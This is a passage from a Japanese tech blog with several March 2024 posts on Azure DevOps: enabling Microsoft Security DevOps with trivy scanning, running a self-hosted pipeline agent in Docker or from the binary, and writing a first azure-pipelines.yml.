Extension など作る場合や自動化するようなときに使う感じになるかなと思います

参考サイト

2024年3月11日月曜日

Azure Devops で Microsoft Security DevOps を有効にしてセキュリティチェックをしてみる

Azure Devops で Microsoft Security DevOps を有効にしてセキュリティチェックをしてみる

概要

Azure Devsop で Devops sec をするには公式が提供する拡張を使います
Microsoft Security Devops をインストールする方法から今回は trivy を使った静的コードスキャンを使ってみます

環境

Microsoft Security Devops をインストールする

右上のマーケットプレイスボタンから「Browse marketplace」をクリックします

マーケットプレイスの一覧になったら検索バーに「Microsoft Security Devops」を入力します

拡張をインストールする組織を聞かれるのでプルダウンから選択してインストールしましょう

インストールが完了すると拡張の一覧に表示されます

azure-pipelines.yml の編集

Microsoft Security Devops を使って trivy でスキャンするジョブを追加します

  • vim azure-pipelines.yml
trigger:
  batch: true
  branches:
    include:
    - master

pool: test_pool

jobs:
- job: TestJob
  steps:
  - script: |
      echo "Hello, Azure Pipelines!"
      cat /etc/issue
      uname -a
    displayName: "Run My Command"
  - task: MicrosoftSecurityDevOps@1
    displayName: "Microsoft Security DevOps"
    inputs:    
      command: "run"
      policy: "azuredevops"
      languages: "python"
      tools: "trivy"

inputs に複数のオプションを指定できます
とりあえずプロジェクトは python でできているので launguages は python を指定しましょう
また今回は trivy を実行しますが他にも 'bandit', 'binskim', 'eslint', 'templateanalyzer', 'terrascan', 'trivy'. が指定可能です

動作確認

パイプラインを見ると追加した MicrosoftSecurityDevOps@1 タスクが実行されているのが確認できます
自動で trivy をダウンロードして . に対して実行していることが確認できます

最後に

Azure Devops でセキュリティチェックをしてみました
最近ではこんな感じで CI/CD の中にセキュリティチェックを入れる Devops Sec 的なことが主流のようです

今回は MicrosoftSecurityDevOps を使いました
これを使った場合 trivy 以外のセキュリティチェックもできます
もし trivy だけ使いたいのであれば trivy 専用の拡張もあるのでそれを使っても OK です

参考サイト

2024年3月10日日曜日

Azure Devops で独自のエージェントを docker で動かす方法

Azure Devops で独自のエージェントを docker で動かす方法

概要

Microsoft が公式で提供している docker イメージがあるのですがこれはもうすでにメンテナンスされていません
非公式ではありますがメンテナンスされているイメージがあるので今回はそれを使ってみました

環境

最初に

公式の見解としては自分でビルドしてくださいというのが方針のようです
https://learn.microsoft.com/ja-jp/azure/devops/pipelines/agents/docker?view=azure-devops

なので今回紹介するイメージがメンテナンスされなくなった場合などは公式の手順を参考に自分でイメージをビルドして使いましょう

docker 上でエージェントの起動

コマンドは以下のとおりです
エージェントの状態を保持するために /var/azdo/_work をホスト側のディレクトリでマウントしておきます

  • mkdir work
docker run \
  -e AZDO_URL=https://dev.azure.com/xxx \
  -e AZDO_TOKEN=xxx\
  -e AZDO_AGENT=docker \
  -e AZDO_POOL=test_pool \
  -v $(pwd)/work:/azdo/agent/_work \
  -it czon/azdo-agent:ubuntu-20.04-3.234.0

-e AZDO_WORK=/var/azdo/$AZDO_AGENT というオプションで任意のワークディレクリを指定できるのですがなぜかこれを指定すると mkdir: cannot create directory '': No such file or directory になるので指定を外しました

起動ログ

起動が完了した際のログは以下のとおりです

Configure Agent ...

  ___                      ______ _            _ _
 / _ \                     | ___ (_)          | (_)
/ /_\ \_____   _ _ __ ___  | |_/ /_ _ __   ___| |_ _ __   ___  ___
|  _  |_  / | | | '__/ _ \ |  __/| | '_ \ / _ \ | | '_ \ / _ \/ __|
| | | |/ /| |_| | | |  __/ | |   | | |_) |  __/ | | | | |  __/\__ \
\_| |_/___|\__,_|_|  \___| \_|   |_| .__/ \___|_|_|_| |_|\___||___/
                                   | |
        agent v3.234.0             |_|          (commit 21ca259)


>> End User License Agreements:

Building sources from a TFVC repository requires accepting the Team Explorer Everywhere End User License Agreement. This step is not required for building sources from Git repositories.

A copy of the Team Explorer Everywhere license agreement can be found at:
  /azdo/agent/license.html


>> Connect:

Connecting to server ...

コンパネでエージェントの確認

Azure Devops のコンパネでもエージェントが動作しているのが確認できます

少し説明

  • AZDO_URL・・・組織名付きで Azure Devops の URL を指定します、エージェントからは指定のエンドポイントにアクセスできる必要があります
  • AZDO_TOKEN・・・Azure Devops で作成した PAT (個人アクセストークン) を指定します
  • AZDO_AGENT・・・エージェント名を入力します
  • AZDO_POOL・・・エージェントを登録するプール名を指定します、デフォルトでは default プールに作成されます

PAT の取得

こちらを参考に取得しておきましょう

使用できるタグ

現状だと Ubuntu20 が最新のようです
詳しくは dockerhub のタグ情報を確認してください
https://hub.docker.com/r/czon/azdo-agent/tags

最後に

Azure Devops のパイプラインエージェントを docker で起動してみました
非公式のイメージですが自分でビルドするのが面倒な場合には便利です

基本はバイナリですが docker イメージにしておけば k8s 上でも動作可能なので便利です

参考サイト

2024年3月9日土曜日

Azure Devops の pipeline で独自の Pool (Agent) を構築し pipeline を実行する方法

Azure Devops の pipeline で独自の Pool (Agent) を構築し pipeline を実行する方法

概要

前回 パイプライン機能の実行方法を紹介しました
デフォルトでは Microsoft が提供する pool にあるエージェントを使って実行しました
その場合は共有のリソースになるので順番待ちになったりします
今回は独自で Pool (Agent) を構築しパイプラインを実行する方法を紹介します

環境

pool の追加

Project Settings -> Agent pools -> Add pool を選択します

Pool type は「Self-hosted」を選択します
Name には好きな名前の pool 名を指定します (あとで azure-pipelines.yml から指定するのに使います
今回は権限はすべてパイプラインが扱えるようにします

Pool が作成されると一覧に表示されます

エージェントの追加

作成した Pool に Agent を追加します
実際パイプラインが実行されるのは Agent で Pool はエージェントを管理するグループになります

作成した test_pool を選択し右上の「New agent」を選択します

するとエージェントをインストールし構築する手順が表示されるので指示通りにインストールしましょう (手順が古い場合があるので注意、後述に詳細あり

エージェントの構築

azure-pipelines-agent をインストールします

docker でも動作しますが今回は初回なので指示通りバイナリインストールで構築します
ただコンパネで表示されるコマンドのエージェントのバージョンはかなり古いのでリポジトリにある安定の最新版をインストールするようにしましょう
Agent は今回 Ubuntu 上に構築します

  • mkdir azure_devops_agent && cd azure_devops_agent
  • wget https://vstsagentpackage.azureedge.net/agent/3.234.0/vsts-agent-linux-x64-3.234.0.tar.gz
  • tar zxvf vsts-agent-linux-x64-3.234.0.tar.gz
  • ./config.sh
  ___                      ______ _            _ _
 / _ \                     | ___ (_)          | (_)
/ /_\ \_____   _ _ __ ___  | |_/ /_ _ __   ___| |_ _ __   ___  ___
|  _  |_  / | | | '__/ _ \ |  __/| | '_ \ / _ \ | | '_ \ / _ \/ __|
| | | |/ /| |_| | | |  __/ | |   | | |_) |  __/ | | | | |  __/\__ \
\_| |_/___|\__,_|_|  \___| \_|   |_| .__/ \___|_|_|_| |_|\___||___/
                                   | |
        agent v3.234.0             |_|          (commit 21ca259)


>> End User License Agreements:

Building sources from a TFVC repository requires accepting the Team Explorer Everywhere End User License Agreement. This step is not required for building sources from Git repositories.

A copy of the Team Explorer Everywhere license agreement can be found at:
  /home/devops/work/azure_devops_agent/license.html

Enter (Y/N) Accept the Team Explorer Everywhere license agreement now? (press enter for N) > Y

>> Connect:

Enter server URL > https://dev.azure.com/xxx/
Enter authentication type (press enter for PAT) >
Enter personal access token > ****************************************************
Connecting to server ...

>> Register Agent:

Enter agent pool (press enter for default) > test_pool
Enter agent name (press enter for agent01) >
Scanning for tool capabilities.
Connecting to the server.
Successfully added the agent
Testing agent connection.
Enter work folder (press enter for _work) >
2024-03-07 04:56:11Z: Settings Saved.

Server URL は自身の Azure Devops の URL を組織名付きで入力しましょう
プールの選択部分だけ test_pool にします
default でも特に問題ないですが azure-pipelines.yml で指定する pool 名も default にしましょう
他は基本はすべてデフォルトの設定で進めて OK です
設定できたら起動しましょう

  • ./run.sh
Scanning for tool capabilities.
Connecting to the server.
2024-03-07 04:59:08Z: Listening for Jobs

上記のようになれば起動完了です

liblttng-ust0 がない

もし必要なパッケージがまだインストールされていない場合は以下で自動でインストールできます

  • sudo ./bin/installdependencies.sh

詳しいインストール方法はこちらが参考になります

E: Unable to locate package liblttng-ust0 というエラーになる場合は bin/installdependencies.sh を編集して liblttng-ust0 -> liblttng-ust1 に変更して再度実行しましょう

また上記のエラーは azure-pipeline-agent のバージョンが古い場合にも起こるので解決策として最新の azure-pipeline-agent をインストールすると良いでしょう

個人アクセストークン (PAT) の取得

こちらを参考に取得しておきましょう

Azure Devops への疎通

azure-pipeline-agent から Azure Devops へ通信できる必要があります
Azure Devops から Agent への疎通は不要ですが最低限 Agent -> Azure Devops のエンドポイントへの通信は必要になります

動作確認

azure-pipelines.yml を編集して使用する pool を指定しましょう

trigger:
  batch: true
  branches:
    include:
    - master

pool: test_pool

jobs:
- job: TestJob
  steps:
  - script: |
      echo "Hello, Azure Pipelines!"
      cat /etc/issue
      uname -a
    displayName: "Run My Command"

これでプロジェクトのパイプラインを確認すると問題なくジョブが実行されていることが確認できると思います

default の pool で進めた場合は default pool にパイプラインを実行する権限がないので権限を与えて上げるとパイプラインが実行し始めると思います

最後に

Azure Devops の Pipeline で独自のエージェントを構築してパイプライン実行してみました
Gitlab Runner に非常に似ている感じになります

Azure Devops は pool ないに Agent を追加する感じです
Gitlab では GroupRunner などがそれにあたりますがやや管理方法が異なる感じになります

また gitlab-ci.yml と azure-pipelines.yml との互換性は全くないのでそこは書き換えなどの処理が必要です

参考サイト

2024年3月8日金曜日

Azure Devops の pipeline 機能を使ってみる

Azure Devops の pipeline 機能を使ってみる

概要

前回 Azure Devops にソースコードを push してみました
今回は Pipeline 機能を使ってみます

環境

  • Azure Devops (2024/03/07 時点)
  • macOS 11.7.10

ブランチ作成

一応ブランチを作成し Pull request 形式でパイプライン用のファイル azure-pipelines.yml を作成します

  • git checkout -b feature/pipeline

azure-pipelines.yml の作成

今回は単純なコマンドを実行するパイプラインを作成します

  • vim azure-pipelines.yml
trigger:
- master

pool:
  vmImage: "ubuntu-latest"

jobs:
- job: TestJob
  steps:
  - script: |
      echo "Hello, Azure Pipelines!"
      cat /etc/issue
      uname -a
    displayName: 'Run My Command'

vmImage

Gitlab で言うところの Runner が pool になります
pool には Microsoft がデフォルトで用意している pool と独自で用意可能な pool があります

今回はデフォルトで用意されている pool にある vmImage を使います
デフォルトで使用可能な vmImage はこちらにあります

また

  • Project Settings -> Agent pools でも現在有効なプール (エージェント) が確認できます

push してみる

  • git add .
  • git commit -m "Add azure-pipelines.yml"
  • git push -u azure feature/pipeline

Pull Request を作成しマージする

Repos -> Pull requests に移動し p-r を作成しましょう
ブランチの「Create a pull request」から作成すると簡単です

タイトル、概要、タグ、レビュアー、紐づけるアイテムを設定します
パイプラインや Approvers などは設定できないいようです

内容を確認して「Complete」でマージします (実際はレビューなどして問題なければマージします

パイプラインを実行する

現状だと自動で実行されないのでとりあえず手動で実行します
左メニューから Pipelines を選択し「Create Pipeline」を選択します

Azure Repos Git を選択します

実行するジョブ (test) を選択します

azure-pipelines.yml の内容が表示されます
あとは右上の Run をクリックすれば OK です

なおパイプラインが失敗するとメールで通知してくれます

[error]No hosted parallelism has been purchased or granted. To request a free parallelism grant, please fill out the following form https://aka.ms/azpipelines-parallelism-request

というエラーが出る場合があります
これは無料枠の pool を使うのには申請が必要なために出ます
https://aka.ms/azpipelines-parallelism-request ここから無料枠の pool を使う申請ができるので名前やメールアドレス、組織名を入力すれば簡単に申請することができます

最後に

Azure Devops の Pipeline 機能を試してみました
パイプラインの機能自体は YAML ファイルを一つ追加するだけなので簡単に使えます
パイプラインの記法や機能のリファレンスは参考リンクにあります

無料枠の pool を使うには申請が必要なのでとりあえず検証したいだけであれば申請すると良いかなと思います (申請がすべて通るのかは不明
あとは自分のマシンを pool として登録することもできるのでマシンリソースに余裕があるのであれば自分のマシンを登録するのもありかなと思います

次回はそのあたりのセルフホステッド pool のやり方なども紹介できればなと思います

参考サイト